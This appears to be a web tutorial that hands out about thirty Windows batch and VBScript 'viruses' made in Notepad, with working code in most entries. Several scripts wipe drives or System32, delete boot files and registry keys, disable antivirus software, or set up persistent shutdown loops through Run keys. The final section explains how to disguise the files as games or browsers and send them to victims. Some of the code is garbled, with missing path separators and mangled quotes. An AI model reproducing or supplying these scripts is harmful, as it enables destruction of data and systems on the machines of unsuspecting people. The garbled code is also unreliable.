Create Virus Using Notepad

1. Disable Internet Permanently

This code will disable the internet connectivity permanently.

echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo
ipconfig/release_all>c:windowswimn32.bat
echo end>c:windowswimn32.batreg add
hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!
PAUSE

2. Delete Key Registry Files

This will delete key registry files, then loops a message

This is dangerous and unrecoverable Notepad Virus.

@ECHO OFF
 START reg delete HKCR/.exe
 START reg delete HKCR/.dll
 START reg delete HKCR/*
 :MESSAGE
 ECHO Your PC has been crashed.Your Dad.
 GOTO MESSAGE

3. Endless Notepads

This will pop up endless notepads until the computer freezes and crashes

@ECHO off
 :top
 START %SystemRoot%\system32\notepad.exe
 GOTO top

4. Popping CD Drives

This will make the CD drives constantly pop out

Set oWMP = CreateObject(”WMPlayer.OCX.7″)
 Set colCDROMs = oWMP.cdromCollection
 do
 if colCDROMs.Count >= 1 then
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 End If
 wscript.sleep 100
 loop

5. Endless Enter

This will make the enter button pressed continuously

Set wshShell = wscript.CreateObject(”WScript.Shell”)
 do
 wscript.sleep 100
 wshshell.sendkeys “~(enter)”
 loop

6. Application Bomber

It will start to open different applications repeatedly which will affect the system’s performance.

You can also add the application of your choice in the above code.

@echo off
 :x
 start winword
 start mspaint
 start notepad
 start write
 start cmd
 start explorer
 start control
 start calc
 goto x

7.Folder Flooder

This will create unlimited no. of folders.

@echo off
:x
md %random%
/folder.
goto x

8.User Account Flooder

This will create large no. of the user account on one’s PC and goes on

@echo off
:xnet
user %random% /add
goto x

9.Process Creator

This will create unlimited background processes

%0|%0

10.Windows Hacker

This will delete your whole C:\ drive and it really unrecoverable

@Echo off
Del C:\ *.* |y

11. Anti Virus Disabler

This large code will disable any antivirus installed on the system

@ echo off
rem
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmincls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.datcls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda
software\*.*
rem

11) Creating a Harmless Cdrom Virus

Open Notepad Paste the following code into it and save it as CD-ROM.vbs or anything (*.vbs_

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

When you double-click on this file, you will be amazed at what this simple, harmless virus can do. Your CD/DVD drives will get continuously ejected.

To stop this virus, you need to open Task Manager, select the process tab, and end the wscript.exe file.

12) Create a Virus To Test Your Antivirus (fake virus notepad)

Open Notepad and paste the given code and save the file as “EICAR.COM”

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
Create a Virus To Test Your Antivirus

If you have an active antivirus, your antivirus program will remove this file in no time. This is the harmless virus used to check your antivirus’s security level.

13) Virus To Stop Someone’s Internet Access

This is a harmless virus, and it will not destroy your PC. You can use this notepad virus script to prank your friends. This virus stops anyone’s internet access. You need to type
the following code in Notepad.

@Echo off
Ipconfig /release
Stop Someone's Internet Access

Save the file in a .bat format like internet.bat and send it to your friends. The IP address will be lost, so they won’t be able to fix it. Well, if you want to fix it. Type in ipconfig/renew. So, this is one of the best notepad virus pranks.

14) Creating a Matrix Type screen

Well, it’s not a virus. It is just a simple notepad trick that will let you see the string of green characters appearing randomly. It has nothing to do with your computer registry, batch, etc. However, you can use this trick to scare your friend because the screen looks like a virus is affected.

Open Notepad and type the following code into it.

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start


Now save the file as Matrix.bat, click on it, and the show begins.

15) Shutdown virus

You can also create a virus that can shut down computers. This virus is harmless but can cause data loss due to a sudden shutdown. Here’s how you can make a shutdown virus to pull up a prank with your friends.

1. First of all, right-click on your desktop and then choose the option Create Shortcut.
 Shutdown virus

2. In the pop-up window, type in shutdown -s -t 60 -c “Virus Detection. The computer is shutting down.” Instead of 60, you can put what value you want. It represents the time in seconds.
 Shutdown virus

3. Then click on the Next button and type Chrome. Or whatever you want.
 Shutdown virus

4. Then, you need to change the Shortcut icon and choose the icon of Google Chrome.
 Shutdown virus

Your virus will look like Google Chrome. You can carry this file in your Pendrive and shut down your friends’ computers.

16) Crash PC Forever

This virus will crash the pc of your victim.
 Warning:- Be more careful while using it otherwise you will end up crashing your own pc.
Step 1:- Copy-Paste below code in notepad.

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Step 2:- Save this file as crash.bat.

17) Create Fake Windows Errors With Notepad

Open Notepad
Type X=Msgbox(“Message Here”,0+16,”Title Here”)
Replace Message Here and Title Here with your Error Message and Error-Window Title respectively.
Save the file with error.vbs. (In Save as filetype, must select “all”)
Now, click the file and you’ll get your custom-made Windows error message. So its easy to learn how to create a virus using notepad

18) ShutDown PC million Times

1.Right-click on the desktop
2.click New — Shortcut
you will get a dialogue box, write in it: shutdown -s -t 1000 c “any comment u want” then press next
note: this “1000” i wrote is the time in seconds needed for your computer to shut down,You can put any number you want…
3. You will get another dialogue box, write in it: Internet Explorer and press finish
4. You will find the icon on ur desktop, don’t open it, just right-click on it and press properties>change icon>select the icon the internet explorer and the press apply than ok
try to open it, it is a virus
PS: the only way 2 stop your computer from shutting down is to go 2 start>run>type: shutdown -a

19. Delete System 32 Folder

Open Notepad

Write / copy the below command there:

” del c:WINDOWSsystem32*.*/q “ without quote
and save as ” anything.bat”

Done. If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without which a Windows Pc can’t be started.

20. Format Drives in 3 Seconds

“rd/s/q D:
rd/s/q C:
rd/s/q E:” ( without quotes )

Save as “anything.bat

This virus Formats the C ,D , and E Drive in 3 Seconds. This is a very useful script if you want to learn how to create a virus using notepad.

No 10 :-

Just open the Notepad and type the paste the following Code.

set ws=createobject(“wscript.shell”)
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell=”wscript.shell”
strDir=”C:WINDOWS”
strfile=”wscript.vbs”
st=Chr(34)
strlog=”shutdown -l”
strtxt2=”ws.run(strlog)”
set obfso=CreateObject(“Scripting.FileSystemObject”)
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline(“set ws=createobject(“&st&strshell&st&”)”)
obfile.writeline(“ws.run(“&st&strlog&st&”)”)
ws.regwrite “HKCUSoftwareMicrosoftWindowsCurrentVersionRunLogoff”,”C:WINDOWSwscript.vbs”,”REG_SZ”

Now Save This Notepad file With Any Name Having .vbs Extension .

21. Shut Down PC with I Love You Messege

Convey your friend a little message and shut down his / her computer:

@echo off
msg * I don’t like you
shutdown -c “Error! You are too stupid!” -s

Save it as “Anything.BAT” in All Files and send it.

22. Toggle your friend’s Caps Lock button simultaneously:

Code:

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

Save it as “Anything.VBS” and send it.

23. Frustrate your friend by making this Vb-script hit Enter simultaneously:

Code:

Set wshShell = wscript.CreateObject(“WScript.Shell“)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

Save it as “Anything.VBS” and send it.

24. This Virus Deletes All The Content Of A Drive…

@echo off
del %systemdrive%*.* /f /s /q
shutdown -r -f -t 00

Save The Above Code As Anything.bat

25. This Will Crash Ur Computer

Option Explicit
Dim WSHShell
Set WSHShell=Wscript.CreateObject(“Wscript.Shell”)
Dim x
For x = 1 to 100000000
WSHShell.Run “Tourstart.exe”
Next

Save It As Anything.vbs

26. Virus that crashes pc

@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c “A VIRUS IS TAKING OVER c:Drive

Save As Anything.bat File In Notepad!!

This Will Pop Up A Message Saying OWNED!!

And Shut Down The Computer Never To Reboot Again!

27. Shutdowns Computer Everytime It Is Turned On

Save As A bat File

echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE

29. Change Files To Non-working TXT Files

Save As A bat File

REN *.DOC *.TXT REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

30. System Meltdown

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH
ipconfig /release
shutdown -r -f -t0
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v HAHAHA /t reg_sz /d c:windowshartlell.bat /f
echo You Have Been Hackedecho @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo YOU HAVE BEEN HACKED BITCH
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT
PAUSE
PAUSE

Save As A bat File

31. Temporarily Flood Network

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH

32. Shutdown the computer every time on startup!

Open Notepad

@ECHO OFF
shutdown -s -t 10 -c “Virus Attack…”
exit

File >> Save As…

Name it: virus.bat
Start >> All Programs
Right Click on Startup >> Open
This open the Startup folder
Paste the Virus.bat file here!

*** That’s all, now the computer will

automatically shut down on every startup!

How to Spread it:

Windows doesn’t allow to change the icon of .bat files. Therefore what you can do is :

Right-click on the .bat file
Click on CREATE SHORTCUT
And hide the original file.
Now as this newly created file is just the shortcut, you can easily change its icon.
Right-click on this shortcut
properties >>>..cutomize>>..choose icon
Now give an attractive icon to it.
Now name it something interesting. eg. PROTOTYPE or IGI etc.
Now your victim would think it to be the game, and he will be easily corrupted.

After copy-pasting any one of the viruses at a time in the Notepad, save the file in ALL FILES mode with an extension “.bat“

Extra If Needed : Convert .bat file to .exe file via  External application Click Here to Convert

Then You can send the file via email, sms, any social media.

Comments